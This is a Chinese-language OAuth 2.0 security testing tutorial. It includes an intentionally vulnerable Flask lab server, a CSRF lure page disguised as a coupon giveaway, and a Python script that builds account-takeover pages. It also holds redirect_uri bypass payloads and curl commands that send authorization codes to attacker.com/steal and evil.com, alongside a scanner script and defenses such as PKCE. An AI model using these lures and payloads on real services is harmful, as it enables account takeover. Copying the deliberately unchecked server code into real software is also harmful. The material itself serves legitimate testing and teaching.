适合人群:初中级安全测试人员、Web开发安全工程师、SRC漏洞挖掘者
前置知识:HTTP协议基础、Cookie/Session机制、OAuth 2.0基本流程概念
一、前置准备
工具安装
# 靶场搭建(OAuth 2.0 测试环境)
docker pull vulnerables/web-oauth2
# 或使用 PortSwigger OAuth Labs(在线靶场)
# https://portswigger.net/web-security/oauth
# Python 依赖
pip3 install requests flask beautifulsoup4
# Burp Suite(核心抓包工具),建议安装以下插件:
# - Burp OAuth Scanner(BApp Store)
# - JWT Editor(处理JWT令牌)
本地靶场搭建
cat > oauth_test_server.py << 'EOF'
from flask import Flask, request, redirect, jsonify
import base64, json
app = Flask(__name__)
# 模拟 OAuth 授权服务器
CLIENTS = {
"malicious_app": {"redirect_uris": ["https://attacker.com/callback"]},
"legit_app": {"redirect_uris": ["https://legit.com/callback"]}
}
@app.route('/oauth/authorize')
def authorize():
client_id = request.args.get('client_id')
redirect_uri = request.args.get('redirect_uri')
# 🔴 漏洞:未校验 redirect_uri 是否在白名单中
code = base64.b64encode(b"admin:token").decode()
return redirect(f"{redirect_uri}?code={code}")
@app.route('/oauth/token')
def token():
code = request.args.get('code')
redirect_uri = request.args.get('redirect_uri')
# 🔴 漏洞:未校验 redirect_uri 与授权请求时一致
access_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx"
return jsonify({"access_token": access_token, "token_type": "bearer"})
@app.route('/api/userinfo')
def userinfo():
auth = request.headers.get('Authorization', '')
if auth.startswith('Bearer '):
return jsonify({"username": "admin", "email": "admin@target.com"})
return jsonify({"error": "unauthorized"}), 401
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
EOF
二、核心原理
OAuth 2.0 是什么?
OAuth 2.0 是一个授权框架,允许第三方应用获取用户在某平台上的有限资源访问权限——而无需交出密码。
用户 → 第三方APP → 授权服务器 → 资源服务器
└── 输入密码 ──→ (获取授权码) ──→ (返回令牌)
(密码只给授权服务器,不给第三方APP)
四种授权模式
| 模式 | 流程 | 安全风险 |
|---|---|---|
| 授权码模式(最常用) | 用户→授权码→令牌 | CSRF、redirect_uri 篡改 |
| 隐式模式(已废弃) | 直接返回令牌 | 令牌泄露、无客户端认证 |
| 密码模式 | 用户名+密码直接换令牌 | 密码被第三方应用获取 |
| 客户端凭证模式 | 仅服务端使用 | 密钥泄露风险 |
核心攻击面
┌─────────────────────────────────────────────┐
│ OAuth 2.0 攻击面 │
├─────────────────────────────────────────────┤
│ 1. CSRF on Authorization Code → Account Takeover
│ 2. redirect_uri 绕过 → 授权码劫持
│ 3. 未绑定状态参数 → 替换用户身份
│ 4. 开放重定向 → 令牌泄露到攻击者服务器
│ 5. OAuth Token 泄露 → 直接接管账户
│ 6. PKCE 缺失 → 授权码拦截
│ 7. 跨租户攻击 → 越权访问其他租户资源
└─────────────────────────────────────────────┘
三、实操步骤
🔴 攻击一:OAuth CSRF + Account Takeover(最经典)
Step 1:理解攻击链
攻击者利用授权码与用户会话未绑定的缺陷,让受害者的授权码被攻击者使用。
正常流程:
用户A → 发起登录 → 获取授权码 code=xxx → 浏览器重定向
→ 第三方APP用code换token → 登录用户A的账号
攻击流程:
1. 攻击者自己发起OAuth登录,拿到自己的授权码 code=attacker_code
2. 攻击者构造恶意链接:/callback?code=attacker_code
3. 诱骗受害用户点击该链接
4. 受害者的会话绑定到攻击者的账号 → Account Takeover(攻击者账号)
Step 2:PoC — 缺少 state 参数的 CSRF
# 正常登录请求
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://target.com/callback&response_type=code&scope=openid"
# 服务端返回重定向到 callback?code=xxxx
# 观察:URL 中没有 state 参数 ❌
Step 3:构造攻击网页
<!-- attacker_exploit.html -->
<html>
<body>
<h1>🎉 您获得了一张优惠券!点击领取</h1>
<!-- 攻击者预先获取的授权码 -->
<img src="https://target.com/callback?code=attacker_pre_authorized_code"
style="display:none">
<script>
// 或者通过自动提交表单
window.location = "https://target.com/callback?code=attacker_pre_authorized_code";
</script>
</body>
</html>
影响:受害者的 OAuth 登录会话被绑定到攻击者的账号,攻击者查看受害者的「个人资料页面」时看到的是攻击者的数据。在实际场景中,这意味着:
- 如果此 OAuth 是绑定已有账号,攻击者可以绑定自己的社交账号到受害者的账户
- 受害者下次登录时,进入的是攻击者的账号(或账号被接管)
Step 4:Python 自动化攻击脚本
import requests
import random
import string
# 配置
AUTH_URL = "https://target.com/oauth/authorize"
CALLBACK_URL = "https://target.com/callback"
CLIENT_ID = "legit_app"
REDIRECT_URI = "https://legit.com/callback"
ATTACKER_SERVER = "https://attacker.com/steal"
class OAuthAttacker:
def __init__(self):
self.session = requests.Session()
def get_authorization_code(self):
"""攻击者自己获取授权码"""
params = {
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"response_type": "code",
"scope": "openid profile",
# 注意:无 state 参数 — 漏洞点
}
resp = self.session.get(AUTH_URL, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
code = location.split("code=")[-1].split("&")[0]
return code
return None
def build_exploit_html(self, code):
"""生成攻击页面"""
csrf_url = f"{CALLBACK_URL}?code={code}"
return f'''<html><body>
<h1>🎮 点击领取游戏礼包</h1>
<img src="{csrf_url}" style="display:none" onerror="this.style.display='none'">
<script>window.location="{csrf_url}";</script>
</body></html>'''
attacker = OAuthAttacker()
evil_code = attacker.get_authorization_code()
print(f"[+] 获取到授权码: {evil_code}")
print(f"[+] 攻击页面:\n{attacker.build_exploit_html(evil_code)}")
🔴 攻击二:redirect_uri 绕过
原理
授权服务器在颁发授权码时,应该校验 redirect_uri 是否在客户端注册的白名单中。但很多实现校验不严格,导致攻击者可以篡改回调地址,将授权码发送到自己的服务器。
# 正常请求
GET /oauth/authorize?client_id=app123&redirect_uri=https://legit.com/callback&response_type=code
# 攻击者篡改 redirect_uri
GET /oauth/authorize?client_id=app123&redirect_uri=https://attacker.com/steal&response_type=code
绕过方式速查表
| 绕过方式 | Payload | 说明 |
|---|---|---|
| 路径遍历 | https://legit.com/callback/../attacker.com/ | 利用路径穿越 |
| 子域名劫持 | https://legit.com.attacker.com/callback | 利用子域名解析 |
| 开放重定向 | https://legit.com/redirect?url=https://attacker.com | 利用跳转接口 |
| 参数注入 | https://legit.com/callback?continue=https://attacker.com | 参数污染 |
| 通配符绕过 | https://attacker.com/legit.com/callback | 部分校验只检查包含 |
| 双斜杠 | https://legit.com//attacker.com/callback | 浏览器容错处理 |
| # 锚点 | https://legit.com#https://attacker.com | # 后的内容不发送到服务器 |
# 测试 redirect_uri 校验松紧度
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://attacker.com/steal&response_type=code"
# 如果302跳转到 attacker.com → 存在漏洞 ✅
# 测试子域名绕过
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://target.com.attacker.com/&response_type=code"
# 测试路径遍历
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://target.com/callback/../../../attacker.com/&response_type=code"
🔴 攻击三:授权码拦截(无PKCE)
PKCE(Proof Key for Code Exchange)是授权码模式的增强安全机制,用于防止授权码被拦截后的令牌交换。如果未使用 PKCE,攻击者只要拿到授权码就能直接换令牌。
# 缺少 PKCE 参数(code_challenge 不存在)
GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=code
# 正确的 PKCE 请求
GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback
&response_type=code
&code_challenge=YzgxYjYw... ← 必填
&code_challenge_method=S256 ← 必填
四、绕过技术
4.1 state 参数绕过
即使服务端要求 state 参数,有时校验也有缺陷:
# ❌ 漏洞:state 只是返回给客户端,未与会话绑定
@app.route('/callback')
def callback():
state = request.args.get('state')
# 只是记录 state 但没校验是否与发起请求时的 state 一致
code = request.args.get('code')
return exchange_token(code)
绕过检测:
# 固定 state 值,两次请求用同一个
curl "https://target.com/callback?code=xxxx&state=12345"
curl "https://target.com/callback?code=yyyy&state=12345"
# 如果都成功 → state 校验形同虚设
4.2 开放重定向链式利用
如果目标 OAuth 服务本身有开放重定向,可以链式利用:
# 找到目标的开放重定向接口
curl -v "https://target.com/redirect?url=https://attacker.com/steal"
# 将其作为 redirect_uri
curl "https://target.com/oauth/authorize?client_id=app&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal&response_type=code"
4.3 隐式模式令牌泄露
如果目标仍然使用隐式模式(不推荐),令牌直接在 URL 片段中返回:
HTTP/1.1 302 Found
Location: https://attacker.com/callback#access_token=eyJhbGci...&token_type=bearer&expires_in=3600
攻击者可以通过 Referer 头、浏览器历史、日志记录等方式获取令牌。
五、实战案例复盘
案例:某社交平台 OAuth 绑定功能 Account Takeover
目标:某社交平台允许用户通过 Google/GitHub OAuth 绑定已有账号
漏洞链:
1. 注册页面 /bind-oauth 缺少 state 参数
2. 授权码与用户会话未绑定
3. 攻击者获取自己的授权码
4. 构造 CSRF 链接诱骗受害者访问
5. 受害者的账号被绑定到攻击者的社交账号
6. 攻击者用社交账号登录 → 进入受害者的账号 → Account Takeover
PoC 步骤:
# Step 1: 攻击者获取自己的授权码
# (用攻击者的浏览器发起 OAuth 授权)
GET https://target.com/oauth/authorize?client_id=social-login&redirect_uri=https://target.com/callback&response_type=code&scope=email
# 302 到 callback?code=attacker_code_xyz
# Step 2: 构造 CSRF PoC
echo '<form action="https://target.com/callback" method="GET">
<input name="code" value="attacker_code_xyz">
</form>
<script>document.forms[0].submit()</script>' > /tmp/poc.html
# Step 3: 诱骗已登录受害者访问 poc.html
# 受害者浏览器自动提交带攻击者授权码的请求
# Step 4: 验证
# 攻击者用自己社交账号登录后,发现进入了受害者的个人主页
# → Account Takeover 完成 ✅
漏洞根因:
- 授权码发放时未绑定用户 session
- callback 端点未校验 state 参数
- 绑定操作未要求用户二次确认
六、防御建议
| 防御措施 | 实现方式 | 防范的攻击 |
|---|---|---|
| 必须使用 state 参数 | 生成随机不可预测的 state,在 callback 时严格比对 | CSRF |
| 严格校验 redirect_uri | 只允许完整匹配已注册的 URI(含路径) | 授权码劫持 |
| 必须使用 PKCE | code_challenge + code_verifier 双因子验证 | 授权码拦截 |
| 授权码绑定用户会话 | 用户确认授权后再发放 | CSRF |
| 令牌绑定(DPoP) | 令牌与客户端密钥绑定,防止被盗用 | 令牌泄露 |
| Short-lived token | 令牌有效期设为 5-15 分钟 | 令牌窃取 |
| CORS 限制 | 只允许已注册的 origin | 令牌泄露 |
PKCE 实现示例
import secrets, hashlib, base64
# 客户端生成
code_verifier = secrets.token_urlsafe(64)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip('=').decode()
# 第一步:带 code_challenge 的授权请求
auth_url = f"https://target.com/oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=code&code_challenge={code_challenge}&code_challenge_method=S256"
# 第二步:用 code_verifier 换令牌
token_resp = requests.post("https://target.com/oauth/token", data={
"grant_type": "authorization_code",
"code": authorization_code,
"redirect_uri": "https://app.com/callback",
"client_id": "app",
"code_verifier": code_verifier # 只有客户端知道
})
七、常见陷阱
| 陷阱 | 说明 |
|---|---|
| ❌ state 用固定值 | 很多人加了 state 但永远是 "123456",形同虚设 |
| ❌ redirect_uri 用前缀匹配 | 写白名单时用 startsWith("https://target.com"),导致 target.com.evil.com 通过 |
| ❌ 未限制 grant_type | 服务端同时接受 code 和 token 参数,混合攻击 |
| ❌ 授权码不过期 | 授权码没有有效期,攻击者可以慢慢利用 |
| ❌ 资源服务器未校验令牌 | 拿到令牌后直接访问资源,没有校验 scope |
| ❌ 未校验 client_secret | 某些实现中 token 端点不需要 client_secret |
| ❌ Authorization header 记录在日志 | Bearer token 出现在日志/Referer中泄露 |
八、总结(含速查表)
OAuth 2.0 安全测试步骤
1. 确定 OAuth 模式(授权码/隐式/密码/客户端凭证)
2. 检查 state 参数是否存在且随机
3. 测试 redirect_uri 校验(子域名/路径遍历/开放重定向)
4. 检查 PKCE 是否存在(code_challenge 参数)
5. 测试授权码能否在异地使用
6. 验证 token 端点是否需要 client_secret
7. 测试令牌是否能越权访问资源
8. 检查 refresh token 是否可重用
Payload 速查表
| 测试点 | Payload / 命令 |
|---|---|
| 缺失 state | ?client_id=app&redirect_uri=https://app.com/cb&response_type=code |
| redirect_uri 子域名绕过 | redirect_uri=https://target.com.evil.com/cb |
| redirect_uri 路径遍历 | redirect_uri=https://target.com/cb/../../../evil.com/ |
| redirect_uri 开放重定向 | redirect_uri=https://target.com/redirect?url=https://evil.com |
| 授权码重放 | 两次用同一 code 换 token,看是否都成功 |
| PKCE 缺失检测 | 看 authorize 请求是否有 code_challenge 参数 |
| state 固定值 | 看 state 是否总是 "123456" 或可预测 |
| token 越权 | 修改 token 的 user_id claim 后发送 |
| 无 client_secret | 跳过 client_secret 参数看是否仍能换 token |
# 一键检测 OAuth 端点安全
cat > oauth_check.sh << 'SHELL'
#!/bin/bash
TARGET="$1"
CLIENT_ID="$2"
echo "=== OAuth 安全检测 ==="
# 1. 检查 state
echo "[1] 检查 state 参数..."
curl -sv "https://$TARGET/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=https://$TARGET/cb&response_type=code" 2>&1 | grep -i "state=" || echo " ⚠️ 无 state 参数"
# 2. 测试 redirect_uri 绕过
echo "[2] 测试 redirect_uri 绕过..."
for uri in "https://attacker.com" "https://$TARGET.attacker.com" "https://$TARGET/../attacker.com"; do
status=$(curl -so /dev/null -w "%{http_code}" "https://$TARGET/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=$uri&response_type=code")
echo " $uri → $status"
done
# 3. 检查 PKCE
echo "[3] 检查 PKCE..."
curl -sv "https://$TARGET/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=https://$TARGET/cb&response_type=code" 2>&1 | grep -i "code_challenge" || echo " ⚠️ 无 PKCE 参数"
SHELL
chmod +x oauth_check.sh
./oauth_check.sh target.com app123